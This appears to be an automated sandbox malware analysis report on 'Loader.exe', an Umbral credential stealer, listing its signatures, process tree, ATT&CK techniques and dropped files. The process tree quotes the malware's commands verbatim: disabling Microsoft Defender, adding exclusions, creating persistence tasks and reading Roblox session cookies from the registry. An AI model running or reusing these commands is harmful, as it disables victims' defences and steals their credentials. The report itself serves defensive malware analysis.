Overview

overview

10

Static

static

5

Loader.exe

windows10-2004-x64

10

Loader.exe

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    19/08/2026, 19:55

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Loader.exe
  • Size 1.1MB
  • Sample260819-ym3pcsvthv
  • SHA256 5ddd88a2e01fd173974d45eea41d6835ea1e0e6f89ff3165f2b49b256963961c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasionexecutionumbralpersistencespywarestealer

Malware Config

Signatures

  • Family: Umbral

    Umbral stealer is an open-source modular stealer written in C#.

    stealerumbral
  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detects Umbral payload 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • ConfuserEx .NET packer 1 IoCs

    Detects ConfuserEx .NET packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\Loader.exe
    "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4252
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAeABsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAaABhACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHcAZAB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHgAaAB1ACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4568
    • C:\Users\Admin\AppData\Roaming\affe_loader.exe
      "C:\Users\Admin\AppData\Roaming\affe_loader.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:1852
    • C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
      "C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2584
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:672
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Disables one or more Microsoft Defender components
        • Disables automatic submission of suspicious files to Microsoft by Windows Defender
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1132
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks.exe" /create /tn "FVZHrTcA" /tr "\"C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe\"" /sc onlogon /rl highest /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3136
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks.exe" /create /tn "FVZHrTcA_svc" /tr "\"C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe\"" /sc minute /mo 5 /rl highest /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5968
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2144
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3516
  • C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
    "C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"
    1⤵
    • Executes dropped EXE
    PID:3672
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:5572

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        1
        T1059

        PowerShell

        1
        T1059.001

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Persistence

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Privilege Escalation

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Defense Evasion

        Impair Defenses

        2
        T1562

        Disable or Modify Tools

        2
        T1562.001

        Modify Registry

        1
        T1112

        Obfuscated Files or Information

        1
        T1027

        Command Obfuscation

        1
        T1027.010

        Credential Access

        Credentials from Password Stores

        1
        T1555

        Credentials from Web Browsers

        1
        T1555.003

        Unsecured Credentials

        1
        T1552

        Credentials In Files

        1
        T1552.001

        Discovery

        Query Registry

        2
        T1012

        System Information Discovery

        2
        T1082

        Lateral Movement

        Collection

        Data from Local System

        1
        T1005

        Command and Control

        Exfiltration

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 f84df996802a7b65b0a58ecd1960f157bdc82f817bae81409eb4184e438ed9b8
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 948B
        • SHA256 4d610d9cd32a20279c7133a726ff61820d6930e5aa18253ee1422f3a6f54953f
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_0t0ghtql.55t.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0t0ghtql.55t.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        RuntimeBroker.exe
        • Path C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
        • Size 458KB
        • SHA256 059344941a9b0949c40ed3c0aafc6d3d4fee8de37c638be8d59c2a0156f79d91
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        affe_loader.exe
        • Path C:\Users\Admin\AppData\Roaming\affe_loader.exe
        • Size 599KB
        • SHA256 e2a4bf39121b8e6c1aa71510297e40d7a008301d53f2209d302f1fd6e072d9b5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/2584-57-0x0000013E6CB00000-0x0000013E6CB50000-memory.dmp
        Download

        memory/2584-25-0x0000013E521C0000-0x0000013E52238000-memory.dmp
        Download

        memory/2584-56-0x0000013E6CA80000-0x0000013E6CAF6000-memory.dmp
        Download

        memory/2584-58-0x0000013E6CA00000-0x0000013E6CA1E000-memory.dmp
        Download

        memory/2584-89-0x0000013E6CA60000-0x0000013E6CA6A000-memory.dmp
        Download

        memory/2584-90-0x0000013E6CCD0000-0x0000013E6CCE2000-memory.dmp
        Download

        memory/4252-0-0x00000000005B0000-0x00000000006D4000-memory.dmp
        Download

        memory/4252-2-0x000000001B4E0000-0x000000001B4F0000-memory.dmp
        Download

        memory/4252-1-0x000000001B4F0000-0x000000001B5FE000-memory.dmp
        Download

        memory/4568-16-0x000001B0F6340000-0x000001B0F6362000-memory.dmp
        Download

        memory/4568-13-0x000001B0F57B0000-0x000001B0F57C0000-memory.dmp
        Download

        memory/4568-11-0x000001B0F57B0000-0x000001B0F57C0000-memory.dmp
        Download